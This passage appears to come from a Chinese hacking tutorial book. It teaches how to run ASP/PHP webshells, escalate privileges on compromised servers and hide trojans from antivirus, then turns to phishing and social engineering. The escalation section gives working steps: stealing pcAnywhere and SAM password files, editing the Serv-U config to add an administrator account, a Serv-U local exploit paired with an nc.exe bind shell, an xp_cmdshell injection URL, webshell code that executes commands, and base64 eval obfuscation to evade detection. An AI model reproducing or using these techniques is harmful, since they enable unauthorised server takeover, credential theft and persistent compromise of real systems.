下面再来看 wscripc.shell 程序运行器,进入该功能后会出现如图 2-227 所示界面,如果服务器不支持 FSO,可以尝试在这里里输入 cmd 命令执行,例如我这里执行 dir c:\,看 C 盘的目录是不是都列出来了呢,如图 2-228。另外,如里用默认的 cmd 路径无法执行,我们可以自己上传一个 cmd.exe 到有执行权限的目录,然后填好文件路径再执行。
图 2-227 wscripc.shell 程序运行器
图 2-228 执行 dir 命令之后返回的结果
下面我们再来看看海洋 2006ASP 木马的第 1—5 项功能,这些有了是帮助我们收集服务信息的,有助于我们进一步的入侵。
进入“系统服务信息”后,我们就可以看到系统打开的所有服务和详细说明,如图 2-229。
图 2-229 系统服务信息
进入“服务器相关数据”后,我们就可以看到系统参数,系统磁盘,站点文件夹,终端端口
等信息,如图 2-230 所示。
图 2-230 服务器相关数据
而“服务器组件探针”则可以列出服务器上各组件的名称和支持情况,如图 2-231。
图 2-231 服务器组件探针
“系统用户和用户组信息”可以帮我们列出服务器上所有用户、用户组的详细信息,如图 2-232。
图 2-232 系统用户和用户组信息
客户端服务器交互信息是为我们列出服务器上 Application、Session、cookies 等信息的地方,如图 2-233。
图 2-233 客户端服务器交互信息
另外,第十一个功能“文件打包功能是海洋 2006 新增的一个亮点,它可以不用 winrar 打包服务器上的文件夹,无论是否支持 FSO 都能完成,如图 2-234,打包好后,我们可以在海洋
2006 木马的同级目录下找到 hyfop.mdb 文件,下载回来后用 unpack.vb3 解压就可以了。另外,如果服务器支持 FSO,我们也可以用这个功能在服务器上解包。
图 2-234 文件打包功能
海洋 2006ASP 木马还增加了“一些零碎的小东西”,其中比较实用的有注册表的读取功能,如图 2-235,填斥了注册表的键值路径后,点“读取”就能读出注册表键值了,如图 2-236。
图 2-235 注册表的读取功能
图 2-236 读取注册表的结果
除了海洋 ASP 木马的主体文件外,它的压缩包里的其它文件也是大有用途,比如刚才说的 unpack.vbs 是解压打包用的。另外我们还可以自己定制海洋 2006 的功能,如我们只需要 FSO 文件浏览器,我们就运行 2006Z.exe,如图 2-237,在“页面选择”外选 FSO 文件浏览操作器,选择好源文件 2006.asp 和生成后的文件各后点“生成”一个只有 FSO 文件浏览器功能的木马就生成了,如图 2-238 所示。
图 2-237 选择木马的一些功能
图 2-238 具有 FSO 功能的木马
以上就是海洋顶端木马的基本使用方法,其他类型的 ASP 木马的使用方法也大多如此,而且海洋顶端的功能也是最为强大的。当然,它的使用方法还有很多没有讲,所以为了大家能够更好的学习和使用,我已为大家收集了海洋顶端木马的用户手册,可以在光盘中找到。
下面再给大家简单介绍一下 PHP 木马,其实不管是 ASP、PHP、JSP 木马,他们的用法总的来说都是差不多,而且使用的方法受服务器上操作系统的影响也比较大。所以这里就简单介绍一下PHP 木马在Liunx/Unix 操作系统上的基本用法。这里我使用的是国外的一款 PHP木马,名字叫 R57 shell,其功能相对国内的来说要强大一些,我已把它收集到了光盘中,下面就来简单介绍一下它的用法,其他类型的 PHP 木马使用方法也大多是相类似。
在用这个木马得到一个webshell 之后,在其最上面有网站的一些配制信息,如图 2-239所示。
图 2-239 网站的一些配制信息
上面显示了服务器上的时间,还有 PHP 网站的一些信息,php.ini 则显示了 PHP 的配制信息;CPU 的类型;内存大小;还有后台数据库的类型及 PHP 版本;还有哪些函数是不可用的及其硬盘已用及空闲空间。
我们还可以得到网站服务器上操作系统的一些配制信息,如图 2-240 所示。
图 2-240 操作系统的信息
上面显示了操作系统的类型,它上面显示的为 Linux iglu,版本为 2.6.14.4,这个信息对我们后面的提权很有用。还有服务器的类型,为 Apache/2.0。还有当前用户登陆的 ID号,及其当前网站的绝对路径,后面的括号则是显示的权限。
而且我们还能够遍历当前网站下所有的文件,如图 2-241 所示。
图 2-241 遍历当前网站目录
我们还能够改变当前的工作目录、编辑文件、新建或删除目录和文件,如图 2-242 所示。
图 2-242 对目录和文件的操作
还能够改变目录和文件的权限,这个功能对我们提权非常的有用,在介绍文件包含的时候就已经介绍过了,如图 2-243 所示。
图 2-243 改变权限
这个木马还提供了查找文件的功能,如图 2-244 所示,其中 find text 为查找文件的文件名、in dirs 为要查找的目录、only in files 为要查找文件的后缀名。
图 2-244 文件查找
我们还能在其中执行一些 PHP 代码,如图 2-245 所示,在文本框中输入 PHP 代码之后,点击
“Execute”按钮就可以执行代码了。
图 2-245 执行 PHP 代码
我们前面在讲 PHP 手工注入的时候就提到过读取文件的功能,而 PHP 自然也少不了这些功能了,它提供了很多在安全模型(safe_mode)下测试系统能否执行的选项,如图 2-246 所示。
图 2-246 测试安全模型下测试一些功能是否能用
还可以往服务器上上传文件及下载文件,如图 2-247 所示。其中下载还提供了几种压缩形式。
图 2-247 上传和下载功能
如果对方服务器上存在 FTP 服务器的话,还可以通过它来上传和下载文件,更加的方便和快捷,如图 2-248。
图 2-248 FTP 服务器的上传与下载
另外对于后台数据库,该木马也提供了相应的功能,为修改数据库中的表还有执行 SQL命令,如图 2-249 所示。
图 2-249 对数据库的相关操作
以上就是一个 PHP 木马的大体功能,相信大家已经对它已经有一定的认识了。最后就是要多多去实践,在实践中掌握更多的技巧与方法。
对于 JSP 木马,它的功能和上面所讲的 ASP、PHP 木马差不多。在光盘中已经为收录了一款比较好的 JSP 木马。它能够对文件进行管理、及操作还可以查看各种属性;还可以执行命令;操作目录等等。目前 jsp 木马还是比较少,功能也相对弱一些,JSP 木马有的功能,其他如 ASP、PHP 下的木马都有。因此掌握了 ASP 和 PHP 木马的使用,JSP 的使用就不在话下了,所以这里对 JSP 不在进行详细的介绍。
webshell的提权
我们入侵网站得到 webshell 后并不是就控制了整个服务器, 其实很多情况下
webshell 的权限是很小的。所以在获得 webshell 之后就是提升权限,从而获得管理员权限,从而最终控制整台服务器。下面给大家简单介绍一些常见的提升权限的方法。
我们知道,现在很多网站都采用虚拟主机,所以电信为了方便网站管理员方便对网站的管理,一般都安装了一些软件,比如 pcanywhere、serv-u 等等。
(1)、如果服务器上有装了 pcanywhere 服务端,管理员为了管理方便 也给了我们方便,它默认安装在系统盘的 Documents and Settings/All Users/Application Data/Symantec/p
cAnywhere/目录下,我们先看能否跳转到这个目录,如果能跳转的话,那么就下载*.cif 文件。用记事本打开 cif 文件,那么我们就得到 pcAnywhere 的密码了,直接利用它登陆即可管理员权限。
(2)、还可以下载服务器的 SAM 表,其文件路径为系统盘:\WINNT\system32\config\下。如果能够跳转到这个目录中,那么就下载文件名为 SAM 的文件到我们本地的计算机中,对于
SAM 可以利用 LC5 这个工具破解出用户密码。
(3)、虚拟主机用的最多的软件应该算是 serv-u 这个 FTP 工具。serv-u 也是漏洞出现的非常多,所以利用它进行提权是最为常用的方法。我们先呀判断服务器中是否安装了 serv-u,首先看能否跳转到“系统盘: \Documents and Settings\All Users\「开始」菜单\程序\”这个目录中,我们从这里可以获取好多有用的信息。可以看见好多快捷方式,如果安装了 Serv-U,那么也可以看到其快捷方式,我们可以本地查看属性,即查找 Serv-U 的安装路径,有了 Serv-U 的安装路径,我们就看能否跳转到这个安装路径中。
如果可以跳转,跳转成功之后。我们要看 serv-u 的servvDaemon.ini 是否可写,如果可写我们就可以很快得到管理员的权限了。打开 servvDaemon.ini 后,我们会在[Domain]这一栏下加上 user9=[hack|1|0,其中数字 9 可以更换,然后在后面加上
[USER=hack|1] password=
HomeDir=c:\winnt\systam32 Timeout=60 Maintenace=system
Accessl=c:\winnt\system32\RWAMELCDP SKETValues=
保存后我们用 ftp 客户端登录,用户名为 cnnsafe,密码为空,然后执行 quote site execnet user hack hack/add 和quote site exec net localgranp administrators hack/add,你就得到管理员权限了。
如果 ServvDaemon.ini 文件不可写,我们还可以用 serv-v 的本地溢出漏洞提权。找个可执行的目录,上传我们的提权工具 su-exe,然后到 wscriptshell 中执行,执行成功后我们就可以得到服务器权限了。
比如我们利用 Serv-u Ftp Server 本地权限提升漏洞: 因为很多主机的“系统盘:\Documents and Settings\All Users\ Documents”目录以及下边几个子目录 Documents没有设置权限,导致可以在这个目录上传并运行 Exp. 因此我们直接上传了 serv-u local
exploit 和 nc, 并且把 serv-u 的本地提升权限的名字命名为 su.exe 文件就放在 “C:\Documents and Settings\All Users\ Documents”, 然后我们用 su.exe 直接建立用户,也可以反弹一个 shell 过来的。
具体命令:
建立用户: serv-u.exe "cmd"
>USER xl
>PASS 111111
反弹 shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
(4)、查找 conn 和 config ,pass 这类型的文件看能否得到 sa 或者 mysql 的相关密码,可能会有所收获等等。
(5)、先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件,比如诺顿、金山、瑞星、WinRAR 甚至 QQ 之类的,是否可以写,如果可以就修改其程序, 绑定一个批处理或者 VBS,里面写入我们的木马,然后还是等待服务器重启。当重启的时我们
的批处理或 VBS 也会被执行,那么我们它就会去下载我们的木马,进而控制服务器。
(6)、很多有经验的管理员,它会将 cmd.exe、net.exe 和 net1.exe 都给删除。那么我们得到了 webshell 也无法执行命令,这对我们提权是一个很大的阻碍。所以我们要把 cmd.exe文件上传到服务器中去,然后调用上传的 CMD 来执行命令。
利用 webshell 提供的上传功能上传一个 cmd.exe (默 认情况下在
WIN\system32\cmd.exe)到 WEBSHELL 目录(其它目录也行,把上传以后的 CMD.exe 绝对路径 COPY 出来)。然后修改修改 webshell 找到调用 cmd.exe 的代码,调用代码如下所示:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> Function CmdShell() If Request("cmd")<>"" Then
DefCmd = Request("cmd") Else
DefCmd = "Dir "&Session("FolderPath") End If
SI=" "
SI=SI&"" SI=SI&""
<br> SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).st dout.readall
<br> SI=SI&Chr(13)&"Rar 命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\te st\web1.rar
d:\web\test\web1" Response.Write SI End Function
我们把它修改成以下代码: Function CmdShell()
If Request("cmd")<>"" Then DefCmd = Request("cmd") Else
DefCmd = "Dir "&Session("FolderPath") End If
SI=" " SI=SI&"" SI=SI&""
<br> SI=SI&server.createobject("wscript.shell").exec("上传的 cmd.exe 绝对路径 / c "&DefCmd).stdout.readall
<br> SI=SI&Chr(13)&"Rar 命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\te st\web1.rar d:\web\test\web1 "
Response.Write SI End Function
为了大家看得清楚把要修改的提出来就可以原来的:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobje ct
("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成:
SI=SI&server.createobject("wscript.shell").exec("上传的 cmd.exe 绝对路径 /c "&DefCmd).stdout.readall
比如你上传到的目录是 D:\web\www\cmd.exe 那么就修改成:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobje ct("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall
那么这样,我们;就可以执行各种命令了,比如添加一个管理员等等。
(7)、这种方法适合于后台数据库是 SQL Server 的情况,我们要用到 SQL Server 的 cacls及 xp_cmdshell。可以提交:http://www.xxx.com/xxx.asp?id=xx;exec master.dbo.xp_cmd shell 'cacls d:\home /t /e /c /g everyone:f';-- 这样赋予了操作系统中 everyone 组的成员所有的权限,然后我们就可以上传文件、改他主页了!
(8)、利用本地溢出程序进行提权。在得到 webshell 后,我们先查看服务器上哪些目录是可执行的,然后在查找操作系统的版本以及在服务器上安装了哪些软件。在确定了这些信息后,我们就查找这些软件存在的相应的一些溢出程序,并上传到服务器的可执行目录中,接着溢出,成功的话,一下就可以得到管理员的权限。这种方法是我最为强烈推荐给大家的,不管它是那种操作系统,我们只要确定其操作系统或安装的软件中有存在溢出漏洞,那么使用溢出程序溢出是最快得到管理员权限的方法。
其实 webshell 的提权的方法还有非常多,这里我只给大家简单几种。方法的种类虽然多,但是他们都是为了达到可以执行相应程序、命令,进而得到更高权限的目的。所以方法虽然多,可它的核心变不了,提权方法与技巧终究还是如此。不过我还是推荐使用溢出来提权这种方法。要使用这种方法需要做两个方面的工作,一、得到一个可以执行的目录。二、确定操作系统和其安装的软件中那个存在溢出漏洞。至于更多的技巧与方法就要靠大家在平时入侵的过程不断的积累,从实战中获得经验。我们的目的就是要将服务器控制到底!
木马的加密与防杀
随着网页的泛滥,很多杀毒软件都已经把他们列为严厉打击的对象了。我们辛辛苦苦得到的 webshell 就被杀毒软件 kill 了岂不亏大了。所以了能够让 webshell 长期生存在网站中,我们必须反击,对付杀毒软件。那么我们怎么防止杀毒软件的查杀呢?有两种办法一是换一匹不会被查杀的木马,二是对木马进行加壳,让杀毒认识不了这个木马,从而达到躲过杀毒软件的查杀。
我们先来说说换木马,目前很多工具都是用于方便管理而做的,但是在管理的同时他们也能够当作木马来用,他们也能够达到与木马一样的功能。比如海洋顶端和老兵的 ASP 站长助手,海洋顶端目前是杀毒软件重点查杀的对象,而老兵的 ASP 站长助手确很少有杀毒软件地起进行查杀,但是它的功能一点也不比海洋顶端差。这是因为老兵的 ASP 站长助手是属于管理软件,很少有软件对其进行查杀。
第二种是加壳。其实就是对木马进行加密或变换,因为杀毒软件查杀木马是靠一些关键字,而加密或变换之后关键字就没有了,那么杀毒软件就没办法识别木马了,从而躲过杀毒软件。
对于加密和变换,我们可以采用工具也可以采用手工。这里我就介绍一下工具的使用,对于手工在后面等大家有了脚本语言基础之后在讲。对于 ASP 的加密,我们可以使用 ASP木马免杀工具,它的操作很简单,如图 2-250 所示。选好木马源文件,先点“转换”,过一会儿在点“加密”就可以实现对这个 ASP 加密了,ASP 下的加密还有很多,这里就不多介绍
了,大家可以去黑客网站上下载,他们的使用方法也多相似。
图 2-250 ASP 木马加密工具
对于PHP 木马的免杀,这里推荐一款非常好的 GUI 工具,如图 2-251 所示,只要将我们的木马代码填入源代码的输入框中,点击加密后就可以在结果区中得到加密后的 PHP 木马。比如这里我加密 phpinfo();,那么其结果为<?php eval(base64_decode('DQpwaHBpbmZvKCk
7'));?>。而且我试过了,使用这个工具加密后可以过卡巴的查杀。
图 2-251 PHP 加密工具
对于免杀方面,《黑客手册》做的非常好,每一个期杂志都有一个黑器免杀班的栏目,里面介绍了各种的免杀技术与技巧。对于工具的免杀我也不可能花大篇幅的讲解工具的使用,如果对面杀很感兴趣可以去下载很多免杀工具来使用同时关注《黑客手册》的黑器免杀班,那么一段时间后你的免杀技术将得到很大的提高。
其他技术
在我们入侵及攻击网站的过程中,不仅仅会用到上面所讲的技术,其实还有一些技术虽然并不是那么突出,但是在很多情况中。他们仍然具有强大的发光点,下面就一一为大家讲来。
网络钓鱼
网络钓鱼(Phishing)一词,是“Fishing”和“Phone”的综合体,是常见的网络诈欺行为。该词嫁接了 fishing 和 phone,该词起源于 1996 年左右,黑客起初利用电子邮件作为诱饵,盗用美国在线的帐号和密码,后来鉴于最早的黑客是用电话线作案,所以黑客们常常用 Ph 来取代 f,就形成了今天的 Phishing 一词。
“网络钓鱼”攻击利用欺骗性的电子邮件和伪造的 Web 站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、账户用户名、口令和社保编号等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,在所有接触诈骗信息的用户中,有高达 5%的人都会对这些骗局做出响应。
“网络钓鱼”的主要伎俩在于仿冒某些公司的网站或电子邮件,然后对其中的程序代码动手脚,如果使用者信以为真地按其链接和要求填入个人重要资料,资料将被传送到诈骗者手中。实际上,不法分子在实施网络诈骗的犯罪活动过程中,经常采取以上几种手法交织、配合进行,还有的通过手机短信、QQ、MSN 进行各种各样的“网络钓鱼”不法活动。
(1)、发送电子邮件,以虚假信息引诱用户中圈套。 诈骗分子以垃圾邮件的形式大量发送欺诈性邮件,这些邮件多以中奖、顾问、对帐等内容引诱用户在邮件中填入金融账号和密码,或是以各种紧迫的理由要求收件人登录某网页提交用户名、密码、身份证号、信用卡号等信息,继而盗窃用户资金。 06 年 2 月份发现的一种骗取美邦银行(Smith Barney)用户的帐号和密码的“网络钓鱼”电子邮件,该邮件利用了 IE 的图片映射地址欺骗漏洞,并精心设计脚本程序,用一个显示假地址的弹出窗口遮挡住了 IE 浏览器的地址栏,使用户无法看到此网站的真实地址。当用户使用未打补丁的 Outlook 打开此邮件时,状态栏显示的链接是虚假的。而用户点击链接时,实际连接的是钓鱼网站 http://**.41.155.60:87/s。该网站页面酷似 Smith Barney 银行网站的登陆界面,但是用户一旦输入了自己的帐号密码,这些信息就会被黑客窃取。
(2)、建立假冒网上银行、网上证券网站,骗取用户帐号密码实施盗窃。 犯罪分子建立起域名和网页内容都与真正网上银行系统、网上证券交易平台极为相似的网站,引诱用户输入账号密码等信息,进而通过真正的网上银行、网上证券系统或者伪造银行储蓄卡、证券交易卡盗窃资金;还有的利用跨站脚本,即利用合法网站服务器程序上的漏洞,在站点的某些网页中插入恶意 Html 代码,屏蔽住一些可以用来辨别网站真假的重要信息,利用 cookies 窃取用户信息。如曾出现过的某假冒银行网站,网址为 http://www.1cbc.com.cn ,而真正银行网站是 http://www.icbc.com.cn ,犯罪分子利用数字 1 和字母 i 非常相近的特点企图蒙蔽粗心的用户。
又如 2004 年 7 月发现的某假公司网站(网址为 http://www.1enovo.com ),而真正网站 http://www.lenovo.com ,诈骗者利用了小写字母 l 和数字 1 很相近的障眼法。诈骗者通过
QQ 散布“XX 集团和 XX 公司联合赠送 QQ 币”的虚假消息,引诱用户访问。而一旦用户访问该网站,首先生成一个弹出窗口,上面显示“免费赠送 QQ 币”的虚假消息。而就在该弹出窗口出现的同时,恶意网站主页面在后台即通过多种 IE 漏洞下载病毒程序 lenovo.exe
(TrojanDownloader.Rlay),并在 2 秒钟后自动转向到真正网站主页,用户在毫无觉察中就感染了病毒。病毒程序执行后,将下载该网站上的另一个病毒程序 bbs5.exe,用来窃取用户的传奇帐号、密码和游戏装备。当用户通过 QQ 聊天时,还会自动发送包含恶意网址的消息。
(3)、利用虚假的电子商务进行诈骗。 此类犯罪活动往往是建立电子商务网站,或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息,犯罪分子在收到受害人的购物汇款后就销声匿迹。如 2003 年,罪犯佘某建立“奇特器材网”网站,发布出售间谍器材、黑客工具等虚假信息,诱骗顾主将购货款汇入其用虚假身份在多个银行开立的帐户,然后转移钱款的案件。除少数不法分子自己建立电子商务网站外,大部分人采用在知名电子商务网站上,如“易趣”、“淘宝”、“阿里巴巴”等,发布虚假信息,以所谓“超低价”、 “免税”、“走私货”、“慈善义卖”的名义出售各种产品,或以次充好,以走私货充行货,很多人在低价的诱惑下上当受骗。网上交易多是异地交易,通常需要汇款。不法分子一般要求消费者先付部分款,再以各种理由诱骗消费者付余款或者其他各种名目的款项,得到钱款或被识破时,就立即切断与消费者的联系。
(4)、利用木马和黑客技术等手段窃取用户信息后实施盗窃活动。 木马制作者通过发送邮件或在网站中隐藏木马等方式大肆传播木马程序,当感染木马的用户进行网上交易时,木马程序即以键盘记录的方式获取用户账号和密码,并发送给指定邮箱,用户资金将受到严重威胁。如 05 年网上出现的盗取某银行个人网上银行帐号和密码的木马 Troj_HidWebmon 及其变种,它甚至可以盗取用户数字证书。又如去年出现的木马“证券大盗”,它可以通过屏幕快照将用户的网页登录界面保存为图片,并发送给指定邮箱。黑客通过对照图片中鼠标的点击位置,就很有可能破译出用户的账号和密码,从而突破软键盘密码保护技术,严重威胁股民网上证券交易安全。又如 2004 年 3 月陈某盗窃银行储户资金一案,陈通过其个人网页向访问者的计算机种植木马,进而窃取访问者的银行帐户和密码,再通过电子银行转帐实施盗窃行为。
(5)、利用用户弱口令等漏洞破解、猜测用户帐号和密码。 不法分子利用部分用户贪图方便设置弱口令的漏洞,对银行卡密码进行破解。如 2004 年 10 月,三名犯罪分子从网上搜寻某银行储蓄卡卡号,然后登陆该银行网上银行网站,尝试破解弱口令,并屡屡得手。
社会工程学、心理学
社会工程学和密码学在我们入侵的过程中有的时候起到非常大的作用。社会工程学
(Social Engineering),一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等
心理陷阱进行诸如欺骗、伤害等危害手段,取得自身利益的手法,近年来已成迅速上升甚至滥用的趋势。那么,什么算是社会工程学呢?它并不能等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为最警惕最小心的人,一样会被高明的社会工程学手段损害利益。
对于黑客爱好者来说,凯文·米特尼克的大名都听过吧,这位世界第一黑客。他当年入侵很多网站和系统的时候就曾多次使用了社会工程学,而他本人也出版了一本中文名叫
《欺骗的艺术》的书,该书就是讲的社会工程学与心理学在入侵过程中的运用。光盘中已经收 录 了 该 书 的 英 文 版 , 如 果 你 英 语 不 太 好 可 以 到
http://blog.sina.com.cn/u/1489904015#feeds_FEEDS_1489904015 中去看中文版。
下面我就引用两篇文章来实例向大家展示黑客是如何灵活社会工程学、心理学及网络钓鱼。一篇是由 Hak_BaN 写的《社会工程学之网络钓鱼攻击案例分析》,另外一篇是由罗秉琨写的《Google Hack+社会工程学反击骗子》。
(1)、社会工程学之网络钓鱼攻击案例分析
社会工程学(Social Engineering),一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段,取得自身利益的手法,近年来已呈迅速上升甚至滥用的趋势。那么,什么算是社会工程学呢?它并不能等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为最警惕最小心的人,一样会被高明的社会工程学手段损害利益。
总体上来说,社会工程学就是使人们顺从你的意愿、满足你的欲望的一门艺术与学问。它并不单纯是一种控制意志的途径,但它不能帮助你掌握人们在非正常意识以外的行为,且学习与运用这门学问一点也不容易。它蕴涵了各式各样的灵活构思与各种嬗变的因素。无论任何时候,在需要套取到所需要的信息之前,社会工程学的实施者都必须:掌握大量的相关基础知识、花时间去从事资料的收集与进行必要的如交谈性质的沟通行为。与以往的入侵行为相类似,社会工程学在实施以前都是要完成很多相关的准备工作,这些准备工作甚至要比其本身还更为繁重。
社会工程学陷阱通常以交谈、欺骗、假冒或口语等方式,从合法用户那里套取用户系统的秘密,例如:用户名单、用户密码及网络结构。比如:如果抗拒不了好奇心而打开了充满诱惑字眼的邮件,邮件携带的病毒就有可能被传播。MYDOOM 与 Bagle 都是利用社会工程学的陷阱而传播的病毒。
随着网络的发展,社会工程学走向多元化,网络钓鱼攻击、密码心理学以及一些利用社会工程学渗入目标企业或者内部得到所需要信息的大胆手法逐步多起来。社会工程学是一种与普通的欺骗/诈骗不同层次的手法。系统以及程序所带来的安全往往是可以避免得,而在人性以及心理的方面来说,社会工程学往往是一种利用人性脆弱点,贪婪等等的心理进行攻击,是防不胜防的。借此我们从现有的社会工程学攻击的手法来进行分析,借用分析来提高我们对于社会工程学的一些防范方法。
一、网络钓鱼攻击手法
网络钓鱼(Phishing)一词,是“Fishing”和“Phone”的综合体,由于黑客始祖起初是以电话作案,所以用“Ph”来取代“F”,从而创造了“Phishing”,Phishing 发音与 Fishing相同。
“网络钓鱼”攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、账户用和口令、社保编号等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,在所有接触诈骗信息的用户中,有高达 5%的人都会对这些骗局做出响应。
1.网络钓鱼特点
网络钓鱼是基于人性贪婪以及容易取信他们的心理方面来进行攻击的,存在着多个特点:
(1)存在着虚假性(欺骗性)大家都已经听说过假币,利用极度模仿的手法去伪造真实货币的样貌,不管是什么角度来看都是和真实的没有什么两样,钓鱼者可以利用自己的站点去模仿被钓网站的克隆,然后结合含有近似域名的网址来加强真实程度。更有甚者会先入侵一台服务器,在服务器上面做相同的事情,让自己可以更好的脱离其中,逃避追踪以及调查。
(2)存在针对性,我们可以在 APWG(Anti-Phishing Working Group)的钓鱼报告看出,通常与钓鱼者紧紧相关的网站都是一些银行、商业机构等,随着互联网飞速的发展,电子商务、网上购物已经成为了和网民息息相关的服务。庞大的网络资金流动,带动了很多的新兴行业,也带来了潜在的安全隐患。网络钓鱼就是潜在当中最严重最令人头痛的安全隐患。
反钓鱼攻击工作组(APWG)成立于 2003 年,致力于对付网络上的各种身份盗窃和邮件诱
骗。该工作组在信息安全业界是一个优秀的工会,拥有超过 1700 个成员,分别来自世界各
地 1000 多家金融服务企业、网络服务提供商、安全解决方案提供商、法律执行机构、法庭、规章机构和消费者组织。APWG 的网站是 www.antiphishing.org。
(3)存在着多样性,网络钓鱼一种针对人性弱点的攻击手法,钓鱼者不会千篇一律的去进行攻击,不管是网络、现实到处都存在着钓鱼式攻击的影子。钓鱼者不会局限于常用的伪造网站,虚假邮件等等的手法,钓鱼者会结合更多的便民服务,人性的贪婪去想象更多令人容易心动,容易受骗的形式去骗被钓者,从而在更短的时间内得到最好的效果。
(4)存在可识别性,网络钓鱼并不是无懈可击,更加不是说可以完完全全的没有破绽。从钓鱼者的角度出发,钓鱼者本身会利用最少的资源去构造自己的钓鱼网站,因为无法去利用真实网站一些独有的资源(例如:域名,USBKEY,数字验证等等)。所以,在伪造网站的方面,会利用近似或者类似的方法来进行欺骗,通常我们可以查看伪造网站以及根据经验去识别其真实性,当我们查看 HTML 源码或者是一些独有的资源时,我们就可以很容易看出虚假网站的真实性了。
数字证书就是标志网络用户身份信息的一系列数据,用来在网络通讯中识别通讯各方的身份,即要在 Internet 上解决“我是谁”的问题,就如同现实中我们每一个人都要拥有一张证明个人身份的身份证或驾驶执照一样,以表明我们的身份或某种资格。
数字证书是由权威公正的第三方机构即 CA 中心签发的,以数字证书为核心的加密技术可以对网络上传输的信息进行加密和解密、数字签名和签名验证,确保网上传递信息的机密性、完整性,以及交易实体身份的真实性,签名信息的不可否认性,从而保障网络应用的安全性。
数字证书采用公钥密码体制,即利用一对互相匹配的密钥进行加密、解密。每个用户拥
有一把仅为本人所掌握的私有密钥(私钥),用它进行解密和签名;同时拥有一 把公共密钥
(公钥)并可以对外公开,用于加密和验证签名。当发送一份保密文件时,发送方使用接收方的公钥对数据加密,而接收方则使用自己的私钥解密,这样,信息就可以安全无误地到达目的地了,即使被第三方截获,由于没有相应的私钥,也无法进行解密。通过数字的手段保证加密过程是一个不可逆过程,即只有用私有密钥才能解密。在公开密钥密码体制中,常用的一种是 RSA 体制。
(5)存在结合性,我们正在使用的操作系统以及程序都会出现很多的安全隐患以及漏洞,钓鱼者会利用这些漏洞从而来进行攻击,例如:利用 Internet Explorer 的一些漏洞去构造连接地址,或者利用漏洞去种植间谍软件或者键盘木马等等。
2.网络钓鱼攻击剖析
(1)利用虚假的网站进行网络钓鱼式攻击
反网络钓鱼组织 APWG(Anti-Phishing Working Group)最新统计指出,约有 70.8%的网络欺诈是针对金融机构而来。从国内前几年的情况看大多 Phishing 只是被用来骗取 QQ 密码与游戏点卡与装备,但今年国内的众多银行已经多次被 Phishing 过了。我们就分析分析国内如何利用虚假网站钓鱼进行骗取 QQ 密码或者银行帐号信息的。
最近 QQ 对战平台出现了一群钓鱼“高手”,利用对战平台的悄悄话发布虚假中奖信息,致使被钓者访问虚假网站留下相关的敏感信息。我们来看看他们如何进行钓鱼攻击的,如图 2-252、图 2-253 所示。
图 2-252 虚假网站
实际案例:
图 2-253 所要填写的信息
[12:17:36] 系统提示 对 **** 悄悄说:尊敬的 QQ 对战玩家,恭喜您,您已被 QQ 对战平台温馨系统随机抽选成为幸运玩家,您将获得由腾讯公司送出价值$4,577RMB 的诺基亚 6680时尚手机一部,请您登陆活动网站 battleqq.**.cn 联系电话:013-9767*****领取您的奖品。(您的激活码 DQJM)
当我们上去访问这个网站的时候,却发现我们所访问的网站与官方的网站有着一定的可识别性。从截图来看,钓鱼网站的图片以及连接都是连接过去一些与自身无关网站的地址,我们可以把这些地址视为盗链,因为要 Copy 一个网站只需要几个步骤就可以了。第二就是从图中我们可以看到一个 PLMM 指着手提电脑的那张图片,有点上网意识的朋友一看就知道是来自 IT.COM.CN 网站的,因为有图显示着来自网站的水印。试问以一个国内大型 IM 网站的实力,会不会让一个活动网站的宣传页面也需要 Copy 别人的?!再看看接下来的会有什么特别的注意的。直到登记中奖部分的了,从图 2-253 来说,可以看到所谓的官方,需要我们输入相关的个人资料以及帐号等等的信息。先抛开是否是真正的中奖的性质,如果基于钓鱼网站来说,就算不需要你输入银行的密码,也千万千万别输入任何关于你的信用卡或者是银行帐号的信息以及个人身份的信息。钓鱼者可以利用你所泄漏的帐号以及身份证号码进行密码的猜测,从而进行数次的密码碰撞,然后拿取你银行所有的钱。这样子的手法就是我们上面所说的“密码心理学”。借用官方的一句话来说:“我方并不采用 QQ 信息方式来通知用户中奖信息,也不会贸然让用户泄漏其自身的个人资料”。当我们在使用 IM 程序的时候,如果接收到这样子的信息或者是活动通知,首先应该访问官方网站,查看是否近期有该类活动。如果没有的话,请不要贸然去相信任何自认是官方的人员。最好的方法就是上官方查看客户
服务电话。在没有弄清楚情况下,千万别泄漏自己的任何信息。
(2)利用虚假的邮件进行网络钓鱼式攻击
虚假邮件的网络钓鱼和虚假网站的网络钓鱼,通常都是结合使用,因为要使影响面可以得到大面积的传播,所以就必须借助 E-mail 进行传播。当 IM 开始慢慢取替 E-MAIL 的今天,
IM 成为了钓鱼者进行传播虚假信息以及进行社会工程学的战场。让我们好好看看网络钓鱼如何在邮件当中的运用。
实际案例:
某天,喜欢在网上购物的黑仔收到了一封貌似某网络购物网站寄来的帐号更新邮件,如图 2-254。因为黑仔整天在此网站进行网络购物,所以没有提防该信件是否存在病毒就打开查看了。从信中黑仔得知,因为该网站的政策规定,必须要核对每个用户的真实身份,以便确认网站用户的真实身份是否有假。所以在接收到此信息的时候,请按照给予的地址访问网站,输入自身的个人信息以及网站的账号和密码。看邮件的布局以及信件内容来说,黑仔并没有发现什么问题。
图 2-254 钓鱼邮件
